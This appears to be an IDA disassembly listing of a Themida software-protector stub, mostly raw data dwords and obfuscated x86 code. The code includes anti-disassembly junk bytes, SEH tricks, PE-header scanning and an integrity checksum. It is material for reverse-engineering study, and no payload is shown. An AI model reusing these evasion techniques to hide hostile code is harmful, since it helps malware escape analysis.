		dd 67000000h, 620731h, 84000000h, 67h, 2 dup(0)
		dd 25D00h, 0Bh dup(0)
		dd 0D8000000h, 0A57Fh, 0Dh dup(0)
		dd 0BA00h, 0
		dd 10000000h, 5BBAh, 3 dup(0)
		dd 0EB000000h, 0F22E900h, 0A3A0h, 37000000h, 758B18h, 7	dup(0)
		dd 9000000h, 0FFAB3Bh, 0
		dd 8D000000h, 38C18Dh, 0
		dd 11000000h, 5837h, 3 dup(0)
		dd 0FE000000h, 37005769h, 9F37F69Fh, 0B5h, 0CE000000h
		dd 0D07EB7h, 0Bh dup(0)
		dd 70000000h, 0FFFF96h,	34000000h, 0A392h, 47000000h, 24h
		dd 84000000h, 0D8000067h, 23004001h, 2F8100h, 28000000h
		dd 0A347h, 0
		dd 0C1000000h, 0D2BF21CFh, 0FF918Fh, 2 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 0E8000000h, 544D1h, 14h dup(0)
		dd 4000000h, 7FFE03h, 0D0000000h, 57E7h, 6 dup(0)
		dd 0A4000000h, 0DD000023h, 0A369h, 20000000h, 0A439h, 0
		dd 79000000h, 5BF658h, 0
		dd 37000000h, 0DD00A3A0h, 0A369h, 0
		dd 3B000000h, 0A33Eh, 0
		dd 24000000h, 242424h, 23000000h, 0B4000000h, 0A4000000h
		dd 12FFh, 8D000000h, 609A8Dh, 4000000h,	967FFE03h, 64EFF2h
		dd 8 dup(0)
		align 8
		dd 0FB77DD5Eh, 77E733h,	0
		dd 0A4000000h, 12FFh, 95000000h, 0D300A799h, 0B5000021h
		dd 0C8005D10h, 64369A0Fh, 0FFFFFFh, 0CE000000h,	0D07EB7h
		dd 6 dup(0)
		dd 0BB000000h, 0BBh, 19000000h,	45F3FAh, 4 dup(0)
		dd 56000000h, 0D325BBh,	2 dup(0)
		dd 16000000h, 0AE000003h, 74F39Ah, 10h dup(0)
		dd 67000000h, 280054DBh, 5847h,	0
		dd 0AE000000h, 0FCD080A3h, 8001FCh, 4 dup(0)
		dd 24000000h, 0E9FFFF21h, 400h,	3 dup(0)
		dd 37000000h, 78618Dh, 5 dup(0)
		dd 7C004000h, 52h, 0
		dd 0D7000000h, 77DD23h,	2 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 4B000000h, 0DEA31404h, 477E737h, 0F7FFE03h, 77F52Eh
		dd 3 dup(0)
		dd 5D000000h, 5A16h, 0C1000000h, 0BF21CFh, 2 dup(0)
		dd 91000000h, 0E8DCD94Ah, 10h, 25C00h, 6 dup(0)
		dd 2B000000h, 37000000h, 588Dh,	2 dup(0)
		dd 0CE000000h, 6FD807h,	2 dup(0)
		dd 2E000000h, 0A35Eh, 2	dup(0)
		dd 34000000h, 14h, 3 dup(0)
		dd 0D9000000h, 4F7FA93Fh, 57E5h, 79004000h, 5D12h, 8 dup(0)
		dd 0B4000000h, 54BCh, 0D3000000h, 68000021h, 0A415h, 0
		dd 0A200h, 2 dup(0)
		dd 4000000h, 487FFE03h,	5A51h, 6A000000h, 0FFA4EFh, 0
		dd 2000000h, 4BF669h, 3	dup(0)
		dd 0B0000000h, 183FFh, 0
		dd 4000000h, 7FFE03h, 16h dup(0)
		dd 34000000h, 0A5B1h, 2	dup(0)
		dd 0BD000000h, 58B9h, 2	dup(0)
		dd 39000000h, 5963h, 0Ah dup(0)
		dd 0B0000000h, 5869h, 3	dup(0)
		dd 74000000h, 860B98h, 4000000h, 7FFE03h, 6 dup(0)
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_54DCAB
		retn	18h
; ---------------------------------------------------------------------------


loc_54DCAB:				; CODE XREF: Themida_:0054DCA6j
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0A3A037h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 13h dup(0)
		dd offset dword_59C600
		dd 0Dh dup(0)
		dd 0DF000000h, 0A9C530h, 3 dup(0)
		dd 0D4000000h, 5AD3h, 3	dup(0)
		dd 8A000000h, 5856h, 67000000h,	7FFF33h, 3 dup(0)
		dd 61000000h, 4Ah, 2 dup(0)
		dd 7C000000h, 2B98DBh, 0C0000000h, 2Ch dup(0)
		dd 5C000000h, 47CC25h, 0F4000000h, 6 dup(0)
		dd 3E000000h, 5BBBh, 8 dup(0)
		dd 33000000h, 5B13h, 0FB000000h, 0DB77E733h, 75110Fh, 6	dup(0)
		dd 49000000h, 2E755Eh, 2 dup(0)
		dd 21000000h, 54212121h, 77F512h, 0
		dd 4000000h, 0
		dd 43000000h, 56h, 2 dup(0)
		dd 75000000h, 20005856h, 15714Bh, 0
		dd 32000000h, 2F8148h, 3 dup(0)
		dd 0DF000000h, 0A9C530h, 0Eh dup(0)
		dd 82000000h, 54E9h, 3 dup(0)
		dd 0A0000000h, 0F39A6595h, 5FF2FEh, 6000000h, 2	dup(0)
		dd 0DE000000h, 0A32Bh, 3 dup(0)
		dd 0A9000000h, 0B0h, 0F7000000h, 0A309h, 0
		dd 0BB000000h, 0BBh, 8 dup(0)
		dd 69000000h, 5D01h, 4 dup(0)
		dd 0D8000000h, 0FFA6B8h, 0DA000000h, 0FFFCDBh, 0
		dd 0B0000000h, 69h, 2 dup(0)
		dd 25F00h, 3 dup(0)
		dd 64000000h, 0A415h, 4	dup(0)
		dd 29000000h, 0AC54C531h, 1100A59Bh, 5D7Bh, 10h, 5 dup(0)
		dd 0D3000000h, 39000021h, 2 dup(0)
		dd 11000000h, 5837h, 6 dup(0)
		dd 94000000h, 2377E827h, 0A0005800h, 0
		dd 0FF000000h, 0FFFFFFh, 0
		dd 29000000h, 0ED005A4Eh, 195D9Ch, 0
		dd 8C000000h, 0FFFFC5h,	4 dup(0)
		dd 23000000h, 78FF5C96h, 7FFE29h, 99000000h, 490054EDh
		dd 0FC005CE7h, 8001FCh,	2 dup(0)
		dd 0A4000000h, 23h, 0
		dd 0CC000000h, 5A4Dh, 6	dup(0)
		dd 1000000h, 0
		dd 4000000h, 59C2h, 0
		dd 0A8000000h, 51DF3h, 0FD000000h, 77E7A5h, 2 dup(0)
		dd 0E0000000h, 12FFh, 7F000000h, 5753h,	0
		dd 84000000h, 67h, 0
		dd 19000000h, 0FFFAFFh,	3 dup(0)
		dd 0E2000000h, 52DC6Ch,	0
		dd 9D000000h, 0FFB682h,	6 dup(0)
		dd 23000000h, 0FE005400h, 5760h, 0FC000000h, 8001FCh, 0BD000000h
		dd 58B9h, 2 dup(0)
		dd 0FC000000h, 0F48001FCh, 8005F6h, 2 dup(0)
		dd 80000000h, 0DC0000EBh, 0FC000000h, 8001FCh, 0F0000000h
		dd 0EB0012FFh, 3E5A53h,	0
		dd 0AF025D00h, 5D05h, 0F0000000h, 80012FEh, 8E1E6Ah, 4B000000h
		dd 0FFA429h, 4 dup(0)
		dd 48000000h, 8A005A51h, 0FFFF5Bh, 2 dup(0)
		dd 9C000000h, 5963h, 0EF004010h, 91E0E970h, 5C1Bh, 3 dup(0)
		dd 35000000h, 57E5h, 0
		dd 75000000h, 0FFA318h,	2 dup(0)
		dd 56000000h, 0A3FAh, 0B0000000h, 5992h, 4 dup(0)
		dd 55000000h, 2EC8B00h,	3 dup(0)
		dd 54000000h, 0A100A2D5h, 586Ah, 7A000000h, 74001D1Ah
		dd 8E865559h, 7FFE03h, 0FE000000h, 5CFFh, 4 dup(0)
		dd 40000000h, 6976B41Bh, 0E6005D01h, 0A20Fh, 0FF000000h
		dd 0EF005921h, 1177E793h, 80005837h, 0B00000EBh, 0
		dd offset dword_59C600
		dd 6 dup(0)
		dd 9F000000h, 0E80054DCh, 5CFFh, 33000000h, 2 dup(33333333h)
		dd 333333h, 30000000h, 56h, 4 dup(0)
		dd 0B9000000h, 0DD5BD4FFh, 0B300A33Eh, 77F7EBh,	7 dup(0)
		dd 54000000h, 12FFh, 2000000h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		les	ecx, [esi]


loc_54E3C3:				; CODE XREF: Themida_:loc_54AECAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60F3503h
		mov	[ebp+60F0539h],	edx
		mov	[ebp+60F1651h],	esi
		mov	[ebp+60F3355h],	eax
		cmp	dword ptr [ebp+60F1939h], 0
		jz	short loc_54E3FB
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54E3FB:				; CODE XREF: Themida_:0054E3EDj
		mov	eax, [esp+24h]
		mov	[ebp+60F2BBDh],	eax
		push	45h
		call	sub_54E4AF
		push	783749Ah
		call	sub_54E4F5
		push	0A894B25h
		call	sub_54E4F5
		jmp	loc_54E639
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54E4AF	proc near		; CODE XREF: Themida_:0054E407p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 60F35F1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54E4CB:				; CODE XREF: sub_54E4AF+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54E4EA
		mov	eax, [ebp+arg_0]
		mov	[ebx+60F355Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54E4CB
; ---------------------------------------------------------------------------


loc_54E4EA:				; CODE XREF: sub_54E4AF+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54E4AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54E4F5	proc near		; CODE XREF: Themida_:0054E411p
					; Themida_:0054E41Bp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60F363Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54E51B:				; CODE XREF: sub_54E4F5+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54E51B
		mov	[ebp+var_84], 0
		lea	edi, [edx+60F355Bh]
		lea	esi, [ebp+var_80]


loc_54E54B:				; CODE XREF: sub_54E4F5+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54E557:				; CODE XREF: sub_54E4F5+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54E557
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54E54B
		popa
		leave
		retn	4
sub_54E4F5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54E595
; ---------------------------------------------------------------------------


loc_54E591:				; CODE XREF: Themida_:0054E598j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54E595:				; CODE XREF: Themida_:0054E58Fj
		cmp	byte ptr [esi],	0
		jnz	short loc_54E591
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54E626
; ---------------------------------------------------------------------------


loc_54E5A7:				; CODE XREF: Themida_:0054E629j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54E61D
; ---------------------------------------------------------------------------


loc_54E5B0:				; CODE XREF: Themida_:0054E621j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54E60A
; ---------------------------------------------------------------------------


loc_54E5C0:				; CODE XREF: Themida_:0054E60Ej
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54E5E2
		cmp	bl, 39h
		ja	short loc_54E5E2
		sub	bl, 30h
		jmp	short loc_54E604
; ---------------------------------------------------------------------------


loc_54E5E2:				; CODE XREF: Themida_:0054E5D6j
					; Themida_:0054E5DBj
		cmp	bl, 61h
		jb	short loc_54E5F4
		cmp	bl, 66h
		ja	short loc_54E5F4
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54E604
; ---------------------------------------------------------------------------


loc_54E5F4:				; CODE XREF: Themida_:0054E5E5j
					; Themida_:0054E5EAj
		cmp	bl, 41h
		jb	short loc_54E604
		cmp	bl, 46h
		ja	short loc_54E604
		sub	bl, 41h
		add	bl, 0Ah


loc_54E604:				; CODE XREF: Themida_:0054E5E0j
					; Themida_:0054E5F2j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54E60A:				; CODE XREF: Themida_:0054E5BEj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54E5C0
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54E61A
		mov	eax, [ebp-10h]
		stosb


loc_54E61A:				; CODE XREF: Themida_:0054E614j
		inc	dword ptr [ebp-8]


loc_54E61D:				; CODE XREF: Themida_:0054E5AEj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54E5B0
		add	edx, 4


loc_54E626:				; CODE XREF: Themida_:0054E5A5j
		cmp	edx, [ebp-4]
		jb	loc_54E5A7
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_54E639:				; CODE XREF: Themida_:0054E420j
		mov	ecx, 7000h
		lea	edi, [ebp+60F3780h]


loc_54E644:				; CODE XREF: Themida_:0054E648j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54E644
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60F386Ah]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		movzx	ebx, di
		mov	ebx, 337428Ah
		sub	eax, edx
		pusha
		mov	ecx, 23799D2Eh
		mov	cx, si
		popa
		and	eax, 0FFFFF000h
		jmp	loc_54E6A5
; ---------------------------------------------------------------------------
		and	eax, 0DAACCEFBh
		inc	edx
		sub	ecx, [edx+ebp*8+6Ch]
		addps	xmm7, oword ptr	ds:0D4C8CD01h
		cld


loc_54E6A5:				; CODE XREF: Themida_:0054E68Ej
		mov	ebx, edi
		mov	ecx, edx
		xor	edi, edi


loc_54E6AB:				; CODE XREF: Themida_:0054E6C6j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54E6C0
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54E6C8


loc_54E6C0:				; CODE XREF: Themida_:0054E6B0j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54E6AB
; ---------------------------------------------------------------------------


loc_54E6C8:				; CODE XREF: Themida_:0054E6BEj
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+60F387Dh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54E702
		mov	esi, [eax+1Ch]


loc_54E702:				; CODE XREF: Themida_:0054E6FDj
		xor	eax, eax


loc_54E704:				; CODE XREF: Themida_:0054E717j
		cmp	eax, 32h
		jz	short loc_54E728
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54E719


loc_54E710:				; CODE XREF: Themida_:0054E726j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54E704
; ---------------------------------------------------------------------------


loc_54E719:				; CODE XREF: Themida_:0054E70Ej
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54E76A
		jmp	short loc_54E710
; ---------------------------------------------------------------------------


loc_54E728:				; CODE XREF: Themida_:0054E707j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60F3888h
		lea	eax, [ebp+60F3846h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_54E76A:				; CODE XREF: Themida_:0054E724j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		and	bx, 0A9D4h
		mov	bl, 0AAh
		mov	cx, ds
		xor	ebx, 3C0A5F7Fh
		and	cl, 4
		mov	bx, 5531h
		or	cl, cl
		jnz	loc_54E7CD
		push	0
		push	edx
		call	sub_54E79F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54E79F	proc near		; CODE XREF: Themida_:0054E797p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_54E79F	endp

; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------
		jg	loc_54E7BB
		or	bx, 1437h


loc_54E7BB:				; CODE XREF: Themida_:0054E7B0j
		mov	dword ptr [ebp+60F21ADh], 1
		mov	bx, dx
		jmp	loc_54E7FA
; ---------------------------------------------------------------------------


loc_54E7CD:				; CODE XREF: Themida_:0054E78Ej
		mov	dword ptr [ebp+60F21ADh], 0
		push	0
		push	esi
		call	sub_54E7E2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54E7E2	proc near		; CODE XREF: Themida_:0054E7DAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_54E7E2	endp

; ---------------------------------------------------------------------------
		dw 0D6FEh
		dd 0DB81667Eh
		db 0F8h, 0ECh
; ---------------------------------------------------------------------------


loc_54E7FA:				; CODE XREF: Themida_:0054E7C8j
		mov	[ebp+60F1CE5h],	eax
		stc
		mov	[ebp+60F2CA1h],	eax
		call	sub_54E81E
		sub	bl, 7Bh
		xchg	eax, esi
		mov	ebp, ecx
		rol	bl, 71h
; ---------------------------------------------------------------------------
		db 8Eh,	0B2h, 0CBh
		dd 1B9E2E9Eh
		db 0E6h, 2Ah

; =============== S U B	R O U T	I N E =======================================



sub_54E81E	proc near		; CODE XREF: Themida_:0054E807p
		mov	edi, 86E5E0Ch
		pop	ecx
		call	sub_54E830
		lods	byte ptr [si]
		cmp	eax, 0CF5E938Dh
sub_54E81E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54E830	proc near		; CODE XREF: sub_54E81E+6p
		cmc
		pop	esi
		add	ecx, 6455h
		sub	di, 0F289h	; CODE XREF: sub_54E830+4Ej
		mov	edx, 18E9h
		push	dword ptr [ecx]
		mov	ax, 0CE9Bh
		pop	ebx
		mov	di, 0CFDFh
		sub	ebx, 56E17779h
		mov	edi, edx
		xor	ebx, 6C2E4246h
		mov	ah, 6Ch
		add	ebx, 7639256Eh
		mov	edi, eax
		mov	[ecx], ebx
		adc	edi, 21697BA2h
		sub	ecx, 25111A16h
		add	ecx, 25111A12h
		call	near ptr loc_54E887+4
		jp	short near ptr loc_54E838+3
		or	al, 73h
		add	ah, [ebx]
		cmp	ecx, esi
		xchg	eax, esi


loc_54E887:				; CODE XREF: sub_54E830+49p
		test	dword ptr [ebx], 0EF81E6F7h
sub_54E830	endp ; sp-analysis failed

		lds	eax, [ebx]
		jmp	near ptr 0F9F47F7h
; ---------------------------------------------------------------------------
		dd 1385h, 0CAC88100h, 0E9590E77h, 1Dh, 0A974C008h, 0DFCD6E37h
		dd 0FFFF91E9h, 0E7F977FFh, 0F67467BAh, 0B4318117h, 731960C0h
		dd 5E879h, 0CE0A0000h, 60C13FCDh, 7E9h,	11533D00h, 5626B81h
		dd 0E8E0Fh, 8E80000h, 2B000000h, 0B4530A6Fh, 581184EAh
		dd 66605861h, 8161D78Bh, 7155C0h, 0D88B6600h, 810FD22Bh
		dd 1Eh,	14E8h, 0E16AA800h, 706450EBh, 0D3EF5393h, 5BA9F0D8h
		dd 7B120070h, 0BBB669Fh, 3C8B591Fh, 28D0F10h, 8A000000h
		dd 74C781DDh, 0F02D050h, 18Fh, 0C781FC00h, 3CCAA5B0h, 52F68166h
		dd 0AAEF81D8h, 0F16F9E3h, 3C89CFBFh, 812BB710h,	0B7939ED6h
		dd 4EA835Dh, 0FA81EC8Ah, 0FFFF8F4Ch, 0FFB8850Fh, 0EBF8FFFFh
		dd 21504h, 638E900h, 8A0F0000h,	6, 316DBD89h, 6060060Fh
		dd 13ED11BFh, 6E96Ah, 0CBFF0000h, 0BC8B0F35h, 0B861h, 9D010000h
		dd 60F3055h, 2824548Bh,	68F0Fh,	9D890000h, 60F1635h, 26558589h
		dd 0B531060Fh, 60F0FF9h, 3CBEh,	0A9852900h, 3060F26h, 0F9242474h
		dd 8960AD66h, 0F1B6D9Dh, 61EF8A06h, 24244403h, 68B0Fh
		dd 95890000h, 60F0201h,	128F0F90h, 50000000h, 0F525052h
		dd 0F585A31h, 0F525031h, 5A585A31h, 0BE605058h,	49161DC4h
		dd 9061DA8Bh, 8890Fh, 8E0F0000h, 2, 408B6160h, 14E978h
		dd 30140000h, 335D27D8h, 0E4B04E04h, 9CFF2C82h,	0D8B0121Fh
		dd 44030AA7h, 8D312824h, 60F10A1h, 1359B589h, 408B060Fh
		dd 68A0F18h, 29000000h,	0F33AD8Dh, 85014006h, 60F1411h
		dd 3AA38589h, 0FCF5060Fh, 708BF858h, 0D1BD0978h, 83060F14h
		dd 820F1CC6h, 6, 5598589h, 870F060Fh, 6, 30D99589h, 7403060Fh
		dd 8DF92424h, 0F2C99BDh, 0DE906h, 0C3950000h, 64D7BDF4h
		dd 70C4F2D9h, 0ADAF4933h, 0B850Fh, 66600000h, 0BD03FA8Bh
		dd 60F16A5h, 24440361h,	1820F24h, 0F5000000h, 6E9ABh, 0D6320000h
		dd 360034DAh, 2731BD8Dh, 8E9060Fh, 19000000h, 0D4980FACh
		dd 0AD2BDD4Ch, 5E9h, 4E2BB00h, 44031B9Fh, 95312424h, 60F0969h
		dd 0E9525050h, 0Dh, 0D3233C30h,	8B1A358Ch, 0A516DD59h
		dd 60310F58h, 76BFBBBBh, 2EBDB833h, 5A616259h, 24048958h
		dd 798589h, 0E9AB060Fh,	12h, 4DD6FF26h,	8F1F6F26h, 0C8E72702h
		dd 0EC866EEEh, 0BD8DCCB5h, 60F16E1h, 3F9ADF5h, 0F282444h
		dd 0C83h, 7E900h, 947E0000h, 611AEB23h,	8A0FAB29h, 6, 1BED9D09h
		dd 605E060Fh, 0BD8BD78Bh, 60F0081h, 0A38DFF61h,	83060F3Ah
		dd 0F3AA3BDh, 10750006h, 1C2444C7h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+60F3EB1h]
		jmp	esi
; ---------------------------------------------------------------------------
		dd 4403AD56h, 8B972824h, 0FD858ADFh, 84060F24h,	3A0474C0h
		dd 574C7507h
; ---------------------------------------------------------------------------
		xor	al, al


loc_54EBAE:				; CODE XREF: Themida_:0054EBAFj
		scasb
		jnz	short loc_54EBAE
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_54EBBB:				; CODE XREF: Themida_:0054EBE4j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_54EBCA:				; CODE XREF: Themida_:0054EBDDj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_54EBDB
		xor	ax, 5041h
		xor	bx, 5449h


loc_54EBDB:				; CODE XREF: Themida_:0054EBD0j
		dec	dh
		jnz	short loc_54EBCA
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_54EBBB
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_54EC06
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+60F2655h]
; ---------------------------------------------------------------------------
		db 0E9h, 6Fh, 0FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EC06:				; CODE XREF: Themida_:0054EBF5j
		pop	esi
		cmc
		cld
		mov	eax, [ebp+60F2655h]
		stc
		shl	eax, 1
		mov	[ebp+60F2ADDh],	eax


loc_54EC18:				; CODE XREF: Themida_:0054EC88j
		add	eax, [ebp+60F16E1h]
		pusha
		sub	[ebp+60F145Dh],	edx
		popa
		sub	esi, esi
		mov	[ebp+60F1DF5h],	edx
		add	[ebp+60F3421h],	ecx
		xchg	eax, esi
		cmc
		lodsw
		clc
		shl	eax, 2
		add	[ebp+60F2B39h],	eax
		clc
		add	eax, [ebp+60F2C99h]
		mov	[ebp+60F264Dh],	esi
		xchg	eax, esi
		mov	[ebp+60F31EDh],	esi
		cmc
		lodsd
		jmp	loc_54EC6D
; ---------------------------------------------------------------------------
		db 0C8h, 82h, 28h
		dd 0D8C67AA5h, 6464746Dh, 1002EE54h
		db 0EAh
; ---------------------------------------------------------------------------


loc_54EC6D:				; CODE XREF: Themida_:0054EC58j
		mov	ecx, [esp+24h]
		jmp	loc_54EC8A
; ---------------------------------------------------------------------------
		dw 5CC9h
		dd 94A8F99Eh, 3B98FC25h, 53A66BA5h, 9A70F510h
; ---------------------------------------------------------------------------
		ja	short loc_54EC18


loc_54EC8A:				; CODE XREF: Themida_:0054EC71j
		add	eax, [esp+24h]
		add	[ebp+60F1789h],	esi
		mov	[esp+1Ch], eax
		xor	[ebp+60F1F21h],	ebx
		xchg	eax, esi
		mov	[ebp+60F1A41h],	ecx
		lodsb
		sub	[ebp+60F2245h],	edi
		xor	cl, cl
		js	loc_54ECB5
		cmc


loc_54ECB5:				; CODE XREF: Themida_:0054ECAEj
		inc	cl
		jb	loc_54ECBE
		stc


loc_54ECBE:				; CODE XREF: Themida_:0054ECB7j
					; Themida_:0054ED19j
		rcl	al, 1
		jnb	loc_54ED7B
		jb	loc_54ECD2
		mov	[ebp+60F2C1Dh],	edi


loc_54ECD2:				; CODE XREF: Themida_:0054ECC6j
		rcl	al, 1
		jnb	loc_54ED7B
		jnz	loc_54ECF5
		pusha
		stc
		call	near ptr loc_54ECF2+1
		rep sbb	eax, 1AF76F4Eh
		aad	46h
		xor	al, ch
		dec	eax


loc_54ECF2:				; CODE XREF: Themida_:0054ECE2p
		lea	ebx, [ebx+61h]


loc_54ECF5:				; CODE XREF: Themida_:0054ECDAj
		rcl	al, 1
		jb	loc_54ED7B
		or	[ebp+60F1E0Dh],	esi
		rcl	al, 1
		jb	loc_54ED7B
		jnz	loc_54ED17
		sub	[ebp+60F17D5h],	esi


loc_54ED17:				; CODE XREF: Themida_:0054ED0Bj
		dec	cl
		jns	loc_54ECBE
		pusha
		mov	[ebp+60F19D9h],	eax
		jg	loc_54ED2F
		adc	dl, 5Bh


loc_54ED2F:				; CODE XREF: Themida_:0054ED26j
		popa
		add	esp, 20h
		sub	[ebp+60F2361h],	edx
		mov	dword ptr [esp-4], 0
		jz	loc_54ED5A
		jmp	loc_54ED5A
; ---------------------------------------------------------------------------
		dd 9E5CC9EFh, 2594A8F9h, 0A53B98FCh
		db 6Bh,	0A6h
; ---------------------------------------------------------------------------


loc_54ED5A:				; CODE XREF: Themida_:0054ED41j
					; Themida_:0054ED47j
		mov	eax, 1
		stc
		lea	ecx, [ebp+60F707Bh]
		mov	[ebp+60F1D35h],	ecx
		jmp	ecx
; ---------------------------------------------------------------------------
		pusha
		or	bx, 0AAB4h
		mov	edx, [ebp+60F33A5h]
		popa


loc_54ED7B:				; CODE XREF: Themida_:0054ECC0j
					; Themida_:0054ECD4j ...
		mov	byte ptr [ebp+60F24FDh], 0
		cmc
		popa
		mov	[ebp+60F1271h],	eax
		mov	[ebp+60F00C9h],	ebx
		retn	8
; ---------------------------------------------------------------------------
		mov	[ebp+60F26B1h],	ebx
		push	eax
		jbe	loc_54EDC7
		push	eax
		push	edx
		jmp	loc_54EDB2
; ---------------------------------------------------------------------------
		sahf
		add	ebp, [ecx+43h]
		cmp	esp, esi
		retf	0C15Ah
; ---------------------------------------------------------------------------
